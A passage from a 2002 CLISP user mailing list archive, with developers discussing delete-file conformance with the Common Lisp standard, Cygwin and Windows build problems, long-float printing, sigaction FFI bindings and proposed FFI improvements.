attempt to delete a > > nonexistent file is considered to be successful. > > > > delete-file returns true if it succeeds, or signals an error of type > > file-error if it does not. > > > > Which means that delete-file cannot return NIL. Clisp is > > non-conformant here, > yes. > > > as is Clisp returning the pathname of the deleted file. > > well, the pathname is "true", so this complies with the third paragraph > you site (but not with the first one). Yes, I ignored this, because of the t earlier. > I think returning the path of the deleted file is a useful extension > which cannot possibly break anything, but if you wish you may disable > it when *ansi* is T. I included this change because I was changing the other exit points of delete-file. Really, this extension was okay with me. > > A patch to delete-file is below. I've chosen to make delete-file on a > > nonexistent file be an error. You may disagree as it does change > > behaviour. > > the main problem with CLISP is that it barfs when the dir is bad, but > returns NIL when the dir is good but the file is not there. > as you said, this is inconsistent. > > I think that signaling an error should mean that "mission cannot be > accomplished" (e.g., permission problems). > I want CLISP to return the path of the file if it was found and > deleted (or T if *ansi* is T), T if the file was not found (for any > reason whatsoever) and signal an error when the file was found but could > not be deleted. Returning T if the file was not found would change current behaviour. I also consider it misleading as no file was deleted, so delete-file returning true would be a lie, yet it is allowed by the CLHS. I wonder why the CLHS is written so that delete-file returns only T and not T or NIL? The wish "T if the file was not found (for any reason whatsover)" would also mean that the the only the Cygwin implementation pre my fix in realpath was conformant and the test in excepsit.tst would need changing from FILE-ERROR to T. That is (with-open-file (s "/tmp/foo35.tmp" :direction :output)) (delete-file "/tmp/foo35.tmp/bar") -> T since there is no permissions error. Are you happy with T here? > Could you please modify your patch to do this? > (or convince me that I am wrong :-) Well, Jorg is unhappy about the ansi addition and I abstain from it. I also think my points above need considering before making another change. Once we've agreed on the correct behaviour, I'll make the change. I propose delete-file filespec => generalised boolean returns the pathname if the file was successfully deleted. signals FILE-ERROR if there was a permissions failure. Which of the alternatives would you like returns T if the file was not found and pathname-directory was valid. signals FILE-ERROR if the pathname-directory was invalid. or returns T if the file was not found I cannot see why an invalid directory should be treated specially and return FILE-ERROR while file not found returns T, so I prefer the latter. Peter From vs1100@terra.es Mon Mar 11 16:00:26 2002 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtp8.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kZiI-00017u-00 for ; Mon, 11 Mar 2002 16:00:22 -0800 Received: from karsten.terra.es ([62.36.162.51]) by tsmtp8.mail.isp (Netscape Messaging Server 4.15 tsmtp8 Jul 26 2001 13:10:38) with ESMTP id GSU2OC01.Z8J; Tue, 12 Mar 2002 01:00:12 +0100 Message-Id: <5.1.0.14.0.20020312005700.009e5700@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten Cc: ampy@ich.dvo.ru In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Re: clisp-list digest, Vol 1 #413 - 4 msgs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 16:01:10 2002 X-Original-Date: Tue, 12 Mar 2002 00:59:53 +0100 At 12:01 3/10/2002 -0800, clisp-list-request@lists.sourceforge.net wrote: >It compiles on msvc and my HTTP-getter works with it. Hello Arseny could you share the http-getter with us so that I can test the IPV6 mod on Cygwin? It compiles fine (the second patch from Sam) but I also don't know of an easy way to test the socket code. Karsten From vs1100@terra.es Mon Mar 11 16:29:30 2002 Received: from mailhost.terra.es ([195.235.113.151] helo=tsmtp4.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kaAT-00084T-00 for ; Mon, 11 Mar 2002 16:29:29 -0800 Received: from karsten.terra.es ([62.36.170.72]) by tsmtp4.mail.isp (Netscape Messaging Server 4.15 tsmtp4 Jul 26 2001 13:10:38) with ESMTP id GSU40S01.VFG for ; Tue, 12 Mar 2002 01:29:16 +0100 Message-Id: <5.1.0.14.0.20020312012412.00a210a0@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten In-Reply-To: Mime-Version: 1.0 Content-Type: text/html; charset="us-ascii" Subject: [clisp-list] ./makemake??? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 16:30:03 2002 X-Original-Date: Tue, 12 Mar 2002 01:27:44 +0100 Hello,

I tried to compile the latest clisp-dev on  cygwin to check the various pathname fixes.

Unfortunately the makefile tried to execute something like
Makefile : makemake
        ./makemake --with-readline --with-gettext --with-dynamic-ffi > Makefile.tmp

and cygwin complained about the ./makemake.

Why is this a ./makemake and not a simple makemake?

Karsten
From samuel.steingold@verizon.net Mon Mar 11 18:16:05 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kbpc-0007X7-00 for ; Mon, 11 Mar 2002 18:16:04 -0800 Received: from gnu.org ([151.203.227.220]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020312021535.SUK23097.out005.verizon.net@gnu.org>; Mon, 11 Mar 2002 20:15:35 -0600 To: "Rehm, Keith" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] long-float References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 18:17:01 2002 X-Original-Date: 11 Mar 2002 21:12:07 -0500 > * In message > * On the subject of "[clisp-list] long-float" > * Sent on Mon, 11 Mar 2002 16:59:48 -0600 > * Honorable "Rehm, Keith" writes: > > why does (format t "~52,50F" *x1*) => > 0.12345671234567123457000000000000000000000000000000 cannot reproduce: [7]> (setf (ext:long-float-digits) 3322) 3322 [8]> (setf *x1* 0.123456712345671234567123456712345671234567123456712345671234567123456712345671234567123456712345671234567L0) 0.123456712345671234567123456712345671234567123456712345671234567123456712345671234567123456712345671234567L0 [9]> (format t "~52,50F" *x1*) 0.12345671234567123456712345671234567123456712345671 -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Single tasking: Just Say No. From samuel.steingold@verizon.net Mon Mar 11 18:24:45 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kbxy-0000Rn-00 for ; Mon, 11 Mar 2002 18:24:42 -0800 Received: from gnu.org ([151.203.227.220]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020312022413.TXD23097.out005.verizon.net@gnu.org>; Mon, 11 Mar 2002 20:24:13 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execution References: <5.1.0.14.0.20020309161014.00a0e760@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 18:25:02 2002 X-Original-Date: 11 Mar 2002 21:20:41 -0500 > * In message > * On the subject of "Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execution" > * Sent on 11 Mar 2002 23:10:51 +0000 > * Honorable Peter Burwood writes: > > Sam Steingold writes: > > I propose > > delete-file filespec => generalised boolean > > returns the pathname if the file was successfully deleted. > signals FILE-ERROR if there was a permissions failure. > > Which of the alternatives would you like > > returns T if the file was not found and pathname-directory was valid. > signals FILE-ERROR if the pathname-directory was invalid. yes. > returns T if the file was not found no. > I cannot see why an invalid directory should be treated specially and > return FILE-ERROR while file not found returns T, so I prefer the > latter. the invariant is that if (delete-file filespec) returned T, then the file filespec does not exist. thus, is we deleted it, we can return its truename. if we looked and it was not there, we return T. but if we looked and could not get there, we have to barf because we do not really know what went wrong. E.g., /foo/bar/baz: if we cannot stat bar or foo, we cannot find out whether baz is there. another thing is that it is a good idea not to deviate from other CL implementations gratuitously. CMUCL appears to barf whenever no delete action was performed for whatever reason. what about ACL? LW? CCL? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Life is like a diaper -- short and loaded. From lin8080@freenet.de Mon Mar 11 22:43:00 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kfzv-0003iv-00 for ; Mon, 11 Mar 2002 22:42:59 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #4) id 16kfzn-0001EC-00 for clisp-list@lists.sourceforge.net; Tue, 12 Mar 2002 07:42:51 +0100 Received: from b7832.pppool.de ([213.7.120.50] helo=freenet.de) by mx1.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #4) id 16kfzn-0005uz-00 for clisp-list@lists.sourceforge.net; Tue, 12 Mar 2002 07:42:51 +0100 Message-ID: <3C8D109C.10992E0F@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de]C-freenet 4.0 (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 CC: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execut ion: delete-file Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 22:43:05 2002 X-Original-Date: Mon, 11 Mar 2002 21:16:28 +0100 hallo > DELETE-FILE is not currently mentioned in the impnotes. I found this in the ../HyperSpec/Body/fun_delete-file.html ............... Description: Deletes the file specified by filespec. If the filespec designator is an open stream, then filespec and the file associated with it are affected (if the file system permits), in which case filespec might be closed immediately, and the deletion might be immediate or delayed until filespec is explicitly closed, depending on the requirements of the file system. It is implementation-dependent whether an attempt to delete a nonexistent file is considered to be successful. delete-file returns true if it succeeds, or signals an error of type file-error if it does not. The consequences are undefined if filespec has a wild component, or if filespec has a nil component and the file system does not permit a nil component. ................ > No! let's stay serious. No more *ANSI* #ifdef. > Prevent us from configuration nightmares. > Let's keep software usable. please do so. stefan From helmut.leitner@chello.at Mon Mar 11 23:06:48 2002 Received: from viefep13-int.chello.at ([213.46.255.15]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kgMw-0006PA-00 for ; Mon, 11 Mar 2002 23:06:46 -0800 Received: from chello.at ([212.186.192.182]) by viefep13-int.chello.at (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP id <20020312070637.QURR8119.viefep13-int.chello.at@chello.at> for ; Tue, 12 Mar 2002 08:06:37 +0100 Message-ID: <3C8DA8B3.816744F0@chello.at> From: Helmut Leitner Organization: HLS X-Mailer: Mozilla 4.79 [en]C-CCK-MCD (Win98; U) X-Accept-Language: en,de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] CLISP-2.28 Windows Installation Question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 23:07:07 2002 X-Original-Date: Tue, 12 Mar 2002 08:05:23 +0100 When I struggled with compiling config.lisp I saw the file install.bat and wondered about its function. BTW it doesn't work the way it is, because install.bat contains only LF as line-separators, so the content is seen by DOS as one long echo command that does nothing. When one isolates the only real command: lisp.exe -B . -M lispinit.mem -norc -C src/install.lisp It results in an error: [pathname.d:7947] *** - Win32 error 161 (ERROR_BAD_PATHNAME): The specified path is invalid. Can someone explain or help? BTW is there a way to get at the offending pathname and/or source file line number in such an error situation? -- Helmut Leitner leitner@hls.via.at Graz, Austria www.hls-software.com From ampy@ich.dvo.ru Tue Mar 12 00:57:10 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ki5f-000768-00 for ; Tue, 12 Mar 2002 00:57:03 -0800 Received: (qmail 20894 invoked from network); 12 Mar 2002 08:56:37 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 12 Mar 2002 08:56:37 -0000 Received: from 192.168.0.116 [192.168.0.116] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Tue, 12 Mar 2002 18:55:26 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <155018356.20020312185548@ich.dvo.ru> To: Helmut Leitner CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP-2.28 Windows Installation Question In-reply-To: <3C8DA8B3.816744F0@chello.at> References: <3C8DA8B3.816744F0@chello.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 12 00:58:01 2002 X-Original-Date: Tue, 12 Mar 2002 18:55:48 +1000 Hello Helmut, Tuesday, March 12, 2002, 5:05:23 PM, you wrote: Helmut> When I struggled with compiling config.lisp I saw the Helmut> file Helmut> install.bat Helmut> and wondered about its function. Helmut> BTW it doesn't work the way it is, because install.bat Helmut> contains only LF as line-separators, so the content is Helmut> seen by DOS as one long echo command that does nothing. Helmut> When one isolates the only real command: Helmut> lisp.exe -B . -M lispinit.mem -norc -C src/install.lisp Helmut> It results in an error: Helmut> [pathname.d:7947] Helmut> *** - Win32 error 161 (ERROR_BAD_PATHNAME): The specified path is invalid. Helmut> Can someone explain or help? I think you use windows 95 or 98, because in NT a) LF's are understanded b) Another error message appears: *** - A file with name src\install.lisp does not exist which is strange and should be investigated. Maybe it's caused by latter changes in pathname.d, not OS. install.bat should be used for installing files in distributive set, not in sources. You may create src directory and copy install.lisp there. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From peter.wood@worldonline.dk Tue Mar 12 06:53:51 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16knev-0004Hq-00 for ; Tue, 12 Mar 2002 06:53:50 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 55438B706 for ; Tue, 12 Mar 2002 15:52:57 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2CEbEZ00861; Tue, 12 Mar 2002 15:37:14 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] sigaction for linux.lisp - GOT IT Message-ID: <20020312153713.A133@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Tue, Mar 12, 2002 at 09:28:53AM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 12 06:54:09 2002 X-Original-Date: Tue, 12 Mar 2002 15:37:13 +0100 Hi, On Tue, Mar 12, 2002 at 09:28:53AM +0100, Hoehle, Joerg-Cyril wrote: > Peter, > > now I'm confused. My apologies. > > > (act (c-ptr-null sigaction) :in :alloca) > This is exactly the replacement I meant. > It doesn't work? > It does. oops. > > > But this does: > > > > (def-c-call-out sigaction-new-or-query > > (:name "sigaction") > > (:arguments (sig int) > > (act (c-ptr-null nil) :in :alloca) > > (null c-string)) > > (:return-type int)) > How can this work as sigaction-new? You cannot pass in a new sigaction structure. > It just sets the handler to nil. Sorry. It was late when I wrote the mail, and I had tested it only as far as calling the function. I did not check to see that the handler was actually installed. > > And the reason I was getting the error message described, was that I > > had forgotten to add c-ptr-null to the list of substitutions in > > linux.lisp. > ?? > In linux.lisp, there is a constant 'substitution' which is a list pairing functions in "LINUX" with a substitution in "LISP" or "FFI". It looks like this: (eval-when (compile-eval) (defconstant substitution '((linux::aref . lisp:aref) ..etc.. (linux::c-ptr . ffi:c-ptr) ..etc..))) There was none for c-ptr-null. I have just rechecked that. You will also find that there is no use of c-ptr-null in linuxlibc6. I have just recompiled linux.lisp without the substitution for c-ptr-null, and I get the old error. With a line for c-ptr-null, the error disappears. > Regards, > Jorg Hohle. > Regards, Peter From samuel.steingold@verizon.net Tue Mar 12 07:37:29 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16koL5-0005Gi-00 for ; Tue, 12 Mar 2002 07:37:27 -0800 Received: from gnu.org ([151.203.227.220]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020312153721.DLHG18010.out020.verizon.net@gnu.org>; Tue, 12 Mar 2002 09:37:21 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: when does the .fas format file change? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 12 07:38:05 2002 X-Original-Date: 12 Mar 2002 10:33:06 -0500 The FAS file format changes when the bytecode spec changes (rarely) or when the signature of the 512 functions in FUNTAB1 & FUNTAB2 (eval.d) changes. E.g., in 2.28, WRITE, WRITE-TO-STRING and MAKE-HASH-TABLE were changed, so this required FAS recompile. (This is part of the reason I wanted weak HTs in 2.28 - so that the next release will not require a FAS recompile. I do realize that the users hate this, and I try to minimize it.) Adding another built-in does not require a full recompile. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Nostalgia isn't what it used to be. From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 12 08:07:15 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16konw-0003xC-00 for ; Tue, 12 Mar 2002 08:07:13 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 12 Mar 2002 17:05:27 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 12 Mar 2002 17:06:57 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net X-Mailer: Internet Mail Service (5.5.2653.19) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable Subject: [clisp-list] food for discussion: Overcoming limitations of the CLISP FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 12 08:08:02 2002 X-Original-Date: Tue, 12 Mar 2002 17:06:48 +0100 Hi, I summarized some known deficiencies of the current FFI and possible exits = (sketch of proposals). Please contribute! o Arrays of variable size are not supported. C-ARRAY-MAX helps but doesn't cover all needs. IDL/COM's size_is() annotation would cover many situations. In Haskell (and COM), they say something along: gethostname([out,size_is(len)] cstring name, [] int len); TODO in/out?? Examples of use: COM of course, regerror's errbuf_size, regexec's nmatch, T= ODO others TODO: exact specification when used with :out or :in-out or possibly differ= ent mode for the length and the array parameters TODO: interaction with *foreign-encoding* PROPOSAL: Add size_is ability to function declaration. Needs working out (b= ut exists in Haskell, COM etc.). Quite some work (typical danger of "better= is worse" 100% solution). Short-time work-around: my redefine-foreign-function hack o Kevin Rosenberg is currently releasing the universal FFI (UFFI): a single= API that supports AllegroCL, Lispworks and CMUCL. http://www.med-info.com/uffi.shtml One may consider it a threat to CLISP, as it operates at a low level of abs= traction that the CLISP FFI does not provide. Quite on the contrary, both t= he CLISP and CMUCL FFI try to abstract away from the low level that e.g. Al= legroCL and UFFI use. CMUCL provides access to both levels. CLISP and CMUCL= 's provide :out etc. and are rather declarative in nature, whereas other in= terfaces let you feel like a C programmer in Lisp syntax, working on pointe= rs. This is IMHO a "worse is better" dilemma: low-level interfaces are easy to = write, and programmers used to C know how to use them. OTOH, high-level int= erfaces must be *designed* first, and the designer is constantly at risk th= at his/her design is unusable and hides away required flexibility, by captu= ring too few usage scenarios (cf. variable sized arrays). From my feelings, I cannot recommend to provide a low-level FFI for CLISP t= hat UFFI could directly map to. My feeling is that the more declarative, th= e better. It should be the other way round: an UFFI should provide a very h= igh level, declarative interface. This one could be expanded into a set of = macros and functions for all possible implementations. Mapping UFFI or Alle= gro's FFI to CLISP's would require involved program analysis and even not s= tatically visible information about the behaviour of the foreign functions.= Yet maybe nobody will come up with such a high level FFI API for Lisp. A true case of worse is better (cf. in http://www.paulgraham.com/thist.html= the success of T and the failure of NIL). o VALIDP could be made SETF'able. Maybe this should be restricted to allow = invalidation only. Currently, some code uses (when (validp compiled-pattern) (mregfree compiled-pattern))) PROPOSAL: code could benefit from the addition of (setf (validp compiled-pattern) nil) or (mark-invalid compiled-pattern) I feel (setf (validp #) T) quite unsafe. But again, in what name am I limiting people's freedom? The current FFI does too much of this already. Observation: + The following 3 limitations come from trying to provide access to C idiom= s. C++, CORBA, COM, Java or other language interfaces don't have such weird= requirements and use very regular interfaces. COM requires variable sized = arrays though (via the size_is annotation). o No choice for initialization of c-union types Example: sigaction slot TODO can either be an int or a pointer to a handler= . PROPOSAL: use FOREIGN-VARIABLE objects and CAST as needed. FOREIGN-VARIABLE= is IMHO nearly unusable in the current FFI. Invent functions or macros to = make them usable. o Variable argument types e.g. ioctl or sigaction (SIG_IGN vs handler) o No malloc or free directly available Consider the following function int switch_port(char **name); On entry, name points to a malloc'ed buffer. The buffer contents must stay = valid until another name is selected. On (successfu)l return, name points to another buffer containing the previo= us port name. This old buffer may then be free'ed. PROPOSAL: I may be able to provide hacks (mostly Lisp-level) that provide m= alloc and free. So people could experiment. Yet the current FFI that they s= hould rarely be needed. OTOH, they may be needed more with delayed derefere= ncing (see below) which requires more work under programmer's control. o FFI dereferences everything function returns. Only C-POINTER is available to prevent this, e.g. module regexp, but then f= oreign structure is really opaque. PROPOSAL: would IMHO involve FOREIGN-VARIABLE types, as they feature exactl= y what is needed: a pair of FOREIGN-ADDRESS and type information. Access ca= n be made as needed. TODO: how to declare this "mode"? o Danger of dereferencing out parameters when function returns failure (cf various mails from me) Same problem as above, same solution: delay o FFI is too picky about some types. E.g. type C-POINTER only accepts passi= ng a FOREIGN-ADDRESS, but not FOREIGN-VARIABLE or FOREIGN-FUNCTION although= these are built upon FOREIGN-ADDRESS. TODO: investigate need o FFI copies everything on stack, or via malloc TODO how would allocation :none work with strings? E.g. each call to regexp-exec duplicates the string to be searched for. It = can be huge (MB range)! A more performant interface would attempt to work in place, on Lisp objects= , which is not possible with the FFI. TODO Is it actually possible to work = in place with Unicode strings? (For module regex, working in place would need to use re_search or re_searc= h_2() instead of regexec(), since the latter doesn't allow to specify a sto= p position and calls strlen.) Thanks for sharing comments, Regards, =09J=F6rg H=F6hle. From keithr@ssd.fsi.com Tue Mar 12 08:13:18 2002 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=mail2.vasoftware.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16kosN-0004mJ-00 for ; Tue, 12 Mar 2002 08:11:47 -0800 Received: from ssd1.ssd.fsi.com ([65.115.221.98] helo=ssd.fsi.com) by mail2.vasoftware.com with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16koqs-00019m-00 for ; Tue, 12 Mar 2002 08:10:14 -0800 Message-ID: From: "Rehm, Keith" To: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] long-float MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 12 08:14:02 2002 X-Original-Date: Tue, 12 Mar 2002 10:10:00 -0600 I just noticed it does that other behavior when I compile first. That is, if: (setf (ext:long-float-digits) 3322) (setf *x1* 0.12345671234567123456712345671234567123456712345671234567123456712345671234 5671234567123456712345671234567L0) are in a file which is compiled and loaded, typing: (format t "~52,50F" *x1*) does not show full *x1*. If I just load the file with those definitions things work as expected (as you've shown). Is that CLISP design intent? Is *x1* being defined differently according to whether the compiler was used? Thanks, Keith -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Monday, March 11, 2002 8:12 PM To: Rehm, Keith Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] long-float > * In message > * On the subject of "[clisp-list] long-float" > * Sent on Mon, 11 Mar 2002 16:59:48 -0600 > * Honorable "Rehm, Keith" writes: > > why does (format t "~52,50F" *x1*) => > 0.12345671234567123457000000000000000000000000000000 cannot reproduce: [7]> (setf (ext:long-float-digits) 3322) 3322 [8]> (setf *x1* 0.12345671234567123456712345671234567123456712345671234567123456712345671234 5671234567123456712345671234567L0) 0.12345671234567123456712345671234567123456712345671234567123456712345671234 5671234567123456712345671234567L0 [9]> (format t "~52,50F" *x1*) 0.12345671234567123456712345671234567123456712345671 -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Single tasking: Just Say No. From samuel.steingold@verizon.net Tue Mar 12 13:07:28 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ktUV-0004g2-00 for ; Tue, 12 Mar 2002 13:07:27 -0800 Received: from gnu.org ([151.203.227.220]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020312210637.EUPM23259.out006.verizon.net@gnu.org>; Tue, 12 Mar 2002 15:06:37 -0600 To: "Rehm, Keith" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] long-float References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: 